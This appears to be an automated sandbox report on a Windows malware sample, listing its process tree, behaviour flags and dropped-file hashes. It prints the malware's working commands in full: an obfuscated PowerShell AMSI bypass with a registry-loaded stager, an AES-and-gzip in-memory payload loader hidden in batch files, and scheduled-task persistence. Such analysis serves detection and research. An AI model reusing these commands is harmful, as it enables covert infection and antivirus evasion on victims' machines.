$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+'e'+'m'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+'N'+'a'+'t'+'i'+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+'ds');$JKPzixeqbETinf=$KTYruWttwOxeA.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+'o'+[Char](99)+''+[Char](65)+''+[Char](100)+'dr'+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kNLjgKCksyxVavPCGAm=uFVmWnzJsihJ @([String])([IntPtr]);$pNWDGhSlEagkyWpAVkFhOK=uFVmWnzJsihJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ATmByrRjPEJ=$KTYruWttwOxeA.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+'dl'+[Char](108)+'')));$oVkurHcPxUhUwV=$JKPzixeqbETinf.Invoke($Null,@([Object]$ATmByrRjPEJ,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+'ib'+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$UHQehnPSjAGnutaCb=$JKPzixeqbETinf.Invoke($Null,@([Object]$ATmByrRjPEJ,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pro'+[Char](116)+'e'+[Char](99)+'t')));$XEPcQLM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oVkurHcPxUhUwV,$kNLjgKCksyxVavPCGAm).Invoke('a'+'m'+''+[Char](115)+'i'+'.'+''+'d'+'l'+'l'+'');$ltuVqvzWkOUJRTsRM=$JKPzixeqbETinf.Invoke($Null,@([Object]$XEPcQLM,[Object](''+[Char](65)+'msi'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+''+[Char](101)+'r')));$VjsceerNFP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHQehnPSjAGnutaCb,$pNWDGhSlEagkyWpAVkFhOK).Invoke($ltuVqvzWkOUJRTsRM,[uint32]8,4,[ref]$VjsceerNFP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ltuVqvzWkOUJRTsRM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHQehnPSjAGnutaCb,$pNWDGhSlEagkyWpAVkFhOK).Invoke($ltuVqvzWkOUJRTsRM,[uint32]8,0x20,[ref]$VjsceerNFP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'FTWA'+[Char](82)+'E').GetValue('$'+[Char](55)+'7'+'s'+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3708
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1148
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1208
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1236
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1244
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1340
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1400
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1448
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c:\windows\system32\sihost.exesihost.exe2⤵PID:2676
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1484
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1500
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1644
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1764
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1828
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1852
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1996
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:1692
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2096
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2252
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2508
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2516
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2524
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:2668
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2704
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
PID:2716
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2732
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2780
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2796
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3068
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2480
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3352
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3296 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_459_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_459.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_459.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:5016 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_459.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3140
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_459.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_459.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
PID:4512 -
C:\Users\Admin\AppData\Local\Temp\New.exe"C:\Users\Admin\AppData\Local\Temp\New.exe"7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:3996
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3856
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4056
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4668
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3536
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2396
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:3656
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3992
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C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:4680
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C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:2924
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:640
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe1⤵PID:1104
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C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3120
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:4336
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5a8641a2f94483f12ba0cad0cf02a3bc7
SHA1fae3e6835336154b90503431279eef6c52a289d2
SHA256ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d
SHA5125c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62
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Filesize
17KB
MD5aedfd5d3bda8368f775872d9b5b194bf
SHA1b224744882369260c1443f4634c6c6a92867d320
SHA2561f8f4f24f566d9733e3082c6f01c8933e39b2e6271f86ac38da006d0d78ea0ab
SHA51233f35d2938d0f751f40c5a955f05d9c53968048d7db1a6f1da43baf129e0bbd66a6fef127840bdc25e4ca6d54d19969af94ba98712bbe01deed7b23d946bab67
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Filesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
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Filesize
409KB
MD5cf570b21f42f0ce411b7c9961068931e
SHA1f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d
SHA256d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234
SHA512de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
1002KB
MD5f6d5bfaee8a55ff72c7b453fda066d62
SHA17d737d53013990e5d05076b7206e43eb4793fc7f
SHA2563ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
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Filesize
115B
MD5e82ad39c92b02438fd3ffa24ea952fdd
SHA1e7d447be8581a28d8bbbd4723256c42bda68ef30
SHA256e552e5bedb451ce70c65f34a9177b6fad8c8662f7b012865cb257657dba2c2b7
SHA512b69f3aff6d3cdbe34817e0482ff0869f9f614707ceaede151379859f32a91d1f70b5333a9a114f71a922ce48b4776ef04e25fb00c7bab5692b123a73505f27ad
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize412B
MD56af9236b50cad843f4b75a672d5f225b
SHA14386e99afc9280f0f2985d4c1227ba7f65c48222
SHA2563598fb9df3b946d942abfea15dcdf517384d4f0035fe88922102dba55749da55
SHA512ea3d624faa59591cf7b9dbe33e7f03a58efc9918b77e10e022f86287a2d133762c52bcc916affc020d8d106d59554a12d31cbcace0e7ed777a25ceeb7b8790e8